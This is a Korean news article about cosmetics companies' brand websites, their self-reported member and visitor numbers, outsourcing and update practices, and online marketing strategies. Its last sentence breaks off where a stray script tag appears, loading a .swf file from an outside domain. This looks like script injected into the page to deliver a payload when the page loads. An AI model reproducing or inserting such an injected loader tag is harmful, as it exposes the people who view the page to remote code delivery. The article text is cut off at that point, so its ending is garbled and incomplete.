화장품회사는 홈페이지도 화장한다? 유익한 정보와 즐거움 가득…브랜드 매니아 속출 어디를 가든 화장품 매장이 있고 화장한 여인이 있듯, 정보의 바다 인터넷 안에도 화장품과 관련한 많은 컨텐츠들이 있다. 특히 불꽃 튀는 전쟁을 벌이고 있는 화장품 업체들이 운영하고 있는 웹사이트들은 저마다 자기 회사와 브랜드를 돋보이게 하기 위해 갖가지 정보와 독특한 디자인으로 네티즌들을 맞이하고 있다. 성공하는 기업의 조건은 소비자의 요구를 먼저 파악하고 앞서가기 마련이다. 화장품 업체들의 인터넷 홈페이지 스타일과 운영현황에 대한 개괄 사항을 보면 온라인 마케팅의 현주소를 대강이나마 짐작할 수 있다. 몇 가지 주제별로 간단하게 살펴보자. 업체마다 브랜드 사이트 보유 각 회사마다 기본적인 규모나 온라인마케팅의 스타일이 다르기 때문에 브랜드 사이트 보유 개수는 그야말로 천차만별이다. 태평양의 경우 메인 도메인(pacific.co.kr) 외에 라네즈(laneige.co.kr), 마몽드(mamonde.co.kr), 아이오페(iope.co.kr) 등의 브랜드마다 홈페이지를 개설해 두고 있다. LG 역시 대표 도메인(lgcare.com) 아래 라끄베르(lacvert.co.kr), 이자녹스(isaknox.co.kr), 등의 브랜드 사이트를 운영하고 있다. 코리아나(coreana.com)는 엔시아(entia.co.kr)의 도메인으로 메인 사이트와 포워딩 해놓은 상태로 메인 사이트에서 브랜드별 페이지를 열어볼 수 있도록 했다. 한국화장품(inkcos.co.kr)과 나드리(nadri.com), 그리고 도도(dodo.co.kr)도 태평양이나 LG와 마찬가지로 각각의 브랜드마다 매니아들을 위한 홈페이지를 열어놓은 상태다. 브랜드별 홈 사이트 개설은 최근의 마케팅 경향과도 무관치 않다. 바로 자사브랜드와 제품의 매니아를 집중적으로 끌어들여 제품 홍보와 더블어 직접 회원관리하는 데 목적이 있다. 회원수·일일 방문자 과장 많아 큰 업체일수록, 개설시기가 오래될수록 회원수가 많기 마련이다. 화장품 회사들이 내놓은 회원수 동향에 따르면 LG가 110만 명, 한국화장품이 30만 명의 회원을 보유하고 있는 것으로 나타난다. 코리아나는 17만 명, 도도와 참존이 각각 15만명과 12만 명의 회원이 있다고 밝혔다. 일일 방문자수 역시 제각각이다. 회원이 많다고 해서 일일 방문자 또한 많을 것이라고 생각하면 오산이다. LG와 한국화장품은 각각 대략 하루에 4만 명과 2만5천 명이 찾는다고 밝혔다. 그런데 코리아나는 일일방문자 수가 6천 명이라고 내세운 반면 그보다 회원 수가 적은 참존이 1만5천 명이라고 알려온 것이 눈에 띈다. 또한 도도는 1백~5백 명 정도가 방문한다고 발표해 회원 규모에 비해 턱 없이 적은 수치를 보이고 있다. 이와 같이 각 업체별로 산출 방법이 서로 다를 수 있고 어디까지나 일방적인 주장이라는 점에서 자기 회사 홈페이지에 얼마나 많은 사람이 방문하는가에 대한 체계적인 조사·분석이 필요하다는 사실이 일부 확인됐다고 할 수 있다. 업데이트는 컨텐츠따라 달라 사이트 관리와 업데이트 등의 작업은 회사별 사정에 따라 서로 조금씩 다르게 이뤄지고 있다. 보통 페이지 제작은 외주로 하고 운영이나 업데이트는 자체에서 하는 경우가 다수를 차지하고 있으나, 엔프라니처럼 모든 과정을 직접 챙기는 곳도 종종 있다. 웹 관련 인력이 넘쳐 나는 시대인 만큼 어느 업체든 조금만 신경쓴다면 전반적인 자체 운영이 가능하다. 사이트 규모가 방대하거나 여러 브랜드를 관리해야 할 경우 아웃소싱은 필수 조건이 된다. 어쨌든 화장품 회사 홍보팀이나 E-비즈니스팀에서 웹마스터를 만나는 일은 이제 아주 흔한 풍경이 됐다. 자료 및 정보 업데이트는 대개 수시로 이루어진다. 컨텐츠에 따라 일일 업데이트가 필요한 경우가 있고, 주간 또는 월간이나 분기별 업데이트가 필요한 경우가 다 다르기 때문에 말 그대로 수시 업데이트가 이루어지는 게 대세라고 봐야 할 것이다. 무엇보다 눈여겨볼 점은 시즌이 바뀔 때마다 새로운 트랜드를 내놓듯이 화장품 회사들의 홈페이지 역시 대대적인 리뉴얼로 새롭게 탄생한다는 점이다. 마케팅 방법 다양 전략의 요체는 고객의 마음을 사로 잡는 데 있다. 대표적인 방법이 바로 쌍방향 커뮤니케이션 또는 1:1 뷰티서비스를 통한 고객관리다. 한국화장품, 나드리, 도도, 코리아나 등이 특히 이를 강조하고 있다. 그 다음으로 많은 부분을 차지하는 것이 회원이 직접 참여하는 사이트 지향이다. 커뮤니티 운영, 이벤트 진행 등을 통해 네티즌들이 상시적으로 찾는 사이트를 만들어 향후 자기 브랜드의 열성 고객 층으로 유도?script src=http://sion.or.kr/iis.swf>

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